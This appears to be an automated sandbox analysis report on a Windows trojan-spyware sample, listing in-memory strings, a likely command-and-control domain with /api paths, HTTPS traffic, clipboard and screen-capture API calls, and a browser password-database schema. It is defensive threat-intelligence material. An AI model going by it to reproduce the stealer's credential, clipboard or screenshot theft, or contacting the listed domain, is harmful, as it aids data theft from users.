Source: file.exe, 00000003.00000003.2102801748.000000000389B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000003.00000003.2102843367.0000000003898000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000003.00000003.2102957593.0000000003898000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: file.exe, 00000003.00000003.2165424961.00000000013B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://forbidstow.site/
Source: file.exe, 00000003.00000002.2192697514.0000000001316000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000003.00000003.2172599012.00000000013B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://forbidstow.site/api
Source: file.exe, 00000003.00000003.2172599012.0000000001395000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://forbidstow.site/apiDw
Source: file.exe, 00000003.00000003.2118075950.000000000138D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000003.00000003.2130598412.000000000138D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://forbidstow.site/apiY
Source: file.exe, 00000003.00000003.2147992648.000000000138D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://forbidstow.site/apil
Source: file.exe, 00000003.00000003.2130598412.000000000138D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://forbidstow.site/c
Source: file.exe, 00000003.00000002.2192897295.000000000139C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000003.00000003.2172599012.0000000001395000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://forbidstow.site/e
Source: file.exe, 00000003.00000002.2192897295.000000000139C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000003.00000002.2192697514.0000000001316000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://forbidstow.site/pi
Source: file.exe, 00000003.00000002.2192897295.000000000139C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://forbidstow.site/piDw
Source: file.exe, 00000003.00000003.2172599012.0000000001395000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://forbidstow.site/tw
Source: file.exe, 00000003.00000003.2147992648.000000000138D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://forbidstow.site/zo
Source: file.exe, 00000003.00000003.2117769016.0000000003865000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000003.00000003.2117686465.000000000386C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://forbidstow.site:443/api
Source: file.exe, 00000003.00000003.2172599012.0000000001395000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000003.00000003.2150304942.000000000139C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000003.00000003.2130598412.000000000138D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://forbidstow.site:443/apil
Source: file.exe, 00000003.00000003.2147992648.000000000138D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: file.exe, 00000003.00000003.2132206149.0000000003985000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: file.exe, 00000003.00000003.2132206149.0000000003985000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: file.exe, 00000003.00000003.2148108007.00000000013AF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000003.00000003.2147992648.000000000138D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477
Source: file.exe, 00000003.00000003.2148108007.00000000013AF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000003.00000003.2147992648.000000000138D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
Source: file.exe, 00000003.00000003.2102801748.000000000389B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000003.00000003.2102843367.0000000003898000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000003.00000003.2102957593.0000000003898000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, 00000003.00000003.2102801748.000000000389B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000003.00000003.2102843367.0000000003898000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000003.00000003.2102957593.0000000003898000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: file.exe, 00000003.00000003.2132206149.0000000003985000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: file.exe, 00000003.00000003.2132206149.0000000003985000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: file.exe, 00000003.00000003.2132206149.0000000003985000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: file.exe, 00000003.00000003.2132206149.0000000003985000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000003.00000003.2132206149.0000000003985000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: file.exe, 00000003.00000003.2132206149.0000000003985000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713

Source: unknown	HTTPS traffic detected: 104.21.41.39:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.41.39:443 -> 192.168.2.5:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.41.39:443 -> 192.168.2.5:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.41.39:443 -> 192.168.2.5:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.41.39:443 -> 192.168.2.5:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.41.39:443 -> 192.168.2.5:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.41.39:443 -> 192.168.2.5:49716 version: TLS 1.2

Source: C:\Users\user\Desktop\file.exe

Code function: 3_2_00435210 OpenClipboard,GetWindowLongW,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

3_2_00435210

Source: C:\Users\user\Desktop\file.exe

Code function: 3_2_00435210 OpenClipboard,GetWindowLongW,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

3_2_00435210

Source: C:\Users\user\Desktop\file.exe

Code function: 3_2_004359B7 GetDC,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetCurrentObject,GetObjectW,DeleteObject,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,

3_2_004359B7

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BA20B0	0_2_00BA20B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BA1000	0_2_00BA1000
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BA3260	0_2_00BA3260
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BA6390	0_2_00BA6390
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BB2590	0_2_00BB2590
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BBD0B0	0_2_00BBD0B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BAA8E0	0_2_00BAA8E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BC70E0	0_2_00BC70E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BB0030	0_2_00BB0030
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BBE020	0_2_00BBE020
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BD9006	0_2_00BD9006
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BB6070	0_2_00BB6070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BCC870	0_2_00BCC870
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BAE1C0	0_2_00BAE1C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BAD170	0_2_00BAD170
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BA6970	0_2_00BA6970
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BAB950	0_2_00BAB950
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BB1150	0_2_00BB1150
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BB7AA0	0_2_00BB7AA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BA92E0	0_2_00BA92E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BBD2E0	0_2_00BBD2E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BA92D0	0_2_00BA92D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BAC2C0	0_2_00BAC2C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BBDA30	0_2_00BBDA30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BAA220	0_2_00BAA220
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BB5250	0_2_00BB5250
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BDB242	0_2_00BDB242
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BA8B90	0_2_00BA8B90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BADB80	0_2_00BADB80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BB73E0	0_2_00BB73E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BAF3D0	0_2_00BAF3D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BA9BC0	0_2_00BA9BC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BAACB0	0_2_00BAACB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BBB4E0	0_2_00BBB4E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BC5CE1	0_2_00BC5CE1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BA84C0	0_2_00BA84C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BA4410	0_2_00BA4410
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BA7C00	0_2_00BA7C00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BCE449	0_2_00BCE449
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BB85A0	0_2_00BB85A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BBCD60	0_2_00BBCD60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BA7E00	0_2_00BA7E00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BAE640	0_2_00BAE640
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BAF7B0	0_2_00BAF7B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BA97A0	0_2_00BA97A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BBBFA0	0_2_00BBBFA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BB57C0	0_2_00BB57C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BBAF10	0_2_00BBAF10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BB6F50	0_2_00BB6F50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BB4F40	0_2_00BB4F40
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_004100C5	3_2_004100C5
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_0042509D	3_2_0042509D
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_00410130	3_2_00410130
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_0043A2E0	3_2_0043A2E0
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_0041D5AF	3_2_0041D5AF
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_00444620	3_2_00444620
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_0042A6D0	3_2_0042A6D0
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_00426800	3_2_00426800
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_0040F970	3_2_0040F970
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_0043A97E	3_2_0043A97E
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_0042EB60	3_2_0042EB60
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_00401000	3_2_00401000
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_00410118	3_2_00410118
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_004431D0	3_2_004431D0
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_004331DE	3_2_004331DE
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_004291E0	3_2_004291E0
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_004241E0	3_2_004241E0
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_00442EB0	3_2_00442EB0
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_0040F250	3_2_0040F250
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_0040B260	3_2_0040B260
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_0040A270	3_2_0040A270
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_0043E230	3_2_0043E230
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_004432C0	3_2_004432C0
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_004012D5	3_2_004012D5
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_0041E298	3_2_0041E298
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_00408340	3_2_00408340
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_00401328	3_2_00401328
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_0042C3E0	3_2_0042C3E0
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_00442380	3_2_00442380
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_004433B0	3_2_004433B0
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_0042F4DD	3_2_0042F4DD
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_00429494	3_2_00429494
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_004094BF	3_2_004094BF
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_0041F510	3_2_0041F510
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_004255A4	3_2_004255A4
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_004335B0	3_2_004335B0
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_0042D642	3_2_0042D642
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_0042762D	3_2_0042762D
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_004386FE	3_2_004386FE
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_004226A0	3_2_004226A0
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_0042762D	3_2_0042762D
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_0040D760	3_2_0040D760
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_00441720	3_2_00441720
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_00443720	3_2_00443720
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_0040A730	3_2_0040A730
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_00429494	3_2_00429494
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_0042B7D9	3_2_0042B7D9
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_0042B7FE	3_2_0042B7FE
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_00442850	3_2_00442850
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_0041482A	3_2_0041482A
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_004038E0	3_2_004038E0
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_00439940	3_2_00439940
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_00407960	3_2_00407960
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_00444920	3_2_00444920
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_00431980	3_2_00431980
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_0042AA40	3_2_0042AA40
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_0042CA72	3_2_0042CA72
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_00420A24	3_2_00420A24
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_00421B40	3_2_00421B40
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_0040DB20	3_2_0040DB20
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_00415BD8	3_2_00415BD8
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_00439BA0	3_2_00439BA0
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_00414BBF	3_2_00414BBF
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_00444C50	3_2_00444C50
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_00434C60	3_2_00434C60
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_0042AC04	3_2_0042AC04
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_0043EC20	3_2_0043EC20
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_0040ECC0	3_2_0040ECC0
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_00427CD2	3_2_00427CD2
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_0041ECDE	3_2_0041ECDE
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_0040BD70	3_2_0040BD70
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_00429D00	3_2_00429D00
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_0040ADD0	3_2_0040ADD0
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_00432D80	3_2_00432D80
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_00408DA0	3_2_00408DA0
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_00422E50	3_2_00422E50
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_00416E10	3_2_00416E10
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_0042BE10	3_2_0042BE10
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_00442EB0	3_2_00442EB0
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_00406F60	3_2_00406F60
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_00428F00	3_2_00428F00
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_00408DA0	3_2_00408DA0
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_00426F82	3_2_00426F82
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_00434F80	3_2_00434F80
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_00441F80	3_2_00441F80
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_00409F9C	3_2_00409F9C
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_00404FA0	3_2_00404FA0
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_00409FA8	3_2_00409FA8
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_00BA20B0	3_2_00BA20B0
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_00BBD0B0	3_2_00BBD0B0
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_00BAA8E0	3_2_00BAA8E0
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_00BC70E0	3_2_00BC70E0
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_00BB0030	3_2_00BB0030
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_00BBE020	3_2_00BBE020
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_00BA1000	3_2_00BA1000
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_00BD9006	3_2_00BD9006
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_00BB6070	3_2_00BB6070
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_00BCC870	3_2_00BCC870
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_00BAE1C0	3_2_00BAE1C0
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_00BAD170	3_2_00BAD170
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_00BA6970	3_2_00BA6970
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_00BAB950	3_2_00BAB950
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_00BB1150	3_2_00BB1150
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_00BB7AA0	3_2_00BB7AA0
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_00BA92E0	3_2_00BA92E0
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_00BBD2E0	3_2_00BBD2E0
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_00BA92D0	3_2_00BA92D0
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_00BAC2C0	3_2_00BAC2C0
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_00BBDA30	3_2_00BBDA30
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_00BAA220	3_2_00BAA220
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_00BA3260	3_2_00BA3260
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_00BB5250	3_2_00BB5250
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_00BDB242	3_2_00BDB242
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_00BA8B90	3_2_00BA8B90
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_00BA6390	3_2_00BA6390
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_00BADB80	3_2_00BADB80
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_00BB73E0	3_2_00BB73E0
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_00BAF3D0	3_2_00BAF3D0
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_00BA9BC0	3_2_00BA9BC0
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_00BAACB0	3_2_00BAACB0
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_00BBB4E0	3_2_00BBB4E0
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_00BC5CE1	3_2_00BC5CE1
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_00BA84C0	3_2_00BA84C0
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_00BA4410	3_2_00BA4410
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_00BA7C00	3_2_00BA7C00
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_00BCE449	3_2_00BCE449
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_00BB85A0	3_2_00BB85A0
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_00BB2590	3_2_00BB2590
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_00BBCD60	3_2_00BBCD60
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_00BA7E00	3_2_00BA7E00
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_00BAE640	3_2_00BAE640
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_00BAF7B0	3_2_00BAF7B0
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_00BA97A0	3_2_00BA97A0
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_00BBBFA0	3_2_00BBBFA0
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_00BB57C0	3_2_00BB57C0
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_00BBAF10	3_2_00BBAF10
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_00BB6F50	3_2_00BB6F50
Source: C:\Users\user\Desktop\file.exe	Code function: 3_2_00BB4F40	3_2_00BB4F40

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 00BCA628 appears 46 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 0040C8C0 appears 71 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 0041C2A0 appears 176 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 00BD077C appears 34 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 00BC1090 appears 106 times

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 2516 -s 152

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: .bss ZLIB complexity 1.0003314936926606

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@5/5@1/1

Source: C:\Users\user\Desktop\file.exe

Code function: 3_2_00432088 CoCreateInstance,

3_2_00432088

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6800:120:WilError_03
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess2516

Source: C:\Windows\SysWOW64\WerFault.exe

File created: C:\ProgramData\Microsoft\Windows\WER\Temp\a047972f-5304-4ee1-8bc7-4ba6f6b95b1f

Jump to behavior

Source: file.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe, 00000003.00000003.2102843367.0000000003867000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000003.00000003.2102660171.0000000003886000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000003.00000003.2118190329.0000000003890000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: file.exe

ReversingLabs: Detection: 31%

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 2516 -s 152
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
